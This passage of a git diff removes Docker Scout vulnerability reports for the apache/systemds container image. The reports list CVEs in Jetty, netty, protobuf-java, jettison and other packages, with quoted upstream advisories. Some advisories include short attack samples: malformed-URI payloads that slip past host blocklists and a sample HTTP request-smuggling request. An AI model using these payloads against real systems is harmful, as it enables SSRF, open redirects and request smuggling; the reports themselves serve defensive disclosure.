- -Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. - -Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
-low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference - - - - - - -
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
- -
Description -
- -### From the reporter - -> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. -> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit -> this vulnerability in order to achieve SSRF or cause a denial of service. -> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the -> WAR includes a malicious web.xml. - -### Impact -There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. - -Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. - -However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. - -### Patches -Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 - -### Workarounds -Don't use `XmlParser` to parse data from users. - - - - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/zookeeper/sysds_output6.md b/docker/scout_results/zookeeper/sysds_output6.md deleted file mode 100644 index c0b9749bf78..00000000000 --- a/docker/scout_results/zookeeper/sysds_output6.md +++ /dev/null @@ -1,2668 +0,0 @@ -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:edc1477abeeeee2de06c91204fa16752b829d422661e7ab36998e61bb094a87a
vulnerabilitiescritical: 2 high: 27 medium: 36 low: 9 unspecified: 1
platformlinux/amd64
size369 MB
packages358
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.420%
EPSS Percentile61st percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 1 high: 0 medium: 0 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-critical : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.109%
EPSS Percentile30th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.078%
EPSS Percentile24th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 4 medium: 1 low: 0 org.codehaus.jettison/jettison 1.1 (maven) - -pkg:maven/org.codehaus.jettison/jettison@1.1
-high 7.5: CVE--2023--1436 Uncontrolled Recursion - - - - - - - - -
Affected range<1.5.4
Fixed version1.5.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.026%
EPSS Percentile6th percentile
- -
Description -
- -An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown. - -
-
- -high 7.5: CVE--2022--45693 Out-of-bounds Write - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -Jettison before v1.5.2 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string. - -
-
- -high 7.5: CVE--2022--45685 Out-of-bounds Write - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A stack overflow in Jettison before v1.5.2 allows attackers to cause a Denial of Service (DoS) via crafted JSON data. - -
-
- -high 7.5: CVE--2022--40150 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
- -
Description -
- -Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. - -
-
- -medium 6.5: CVE--2022--40149 Stack-based Buffer Overflow - - - - - - - - -
Affected range<1.5.1
Fixed version1.5.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.521%
EPSS Percentile66th percentile
- -
Description -
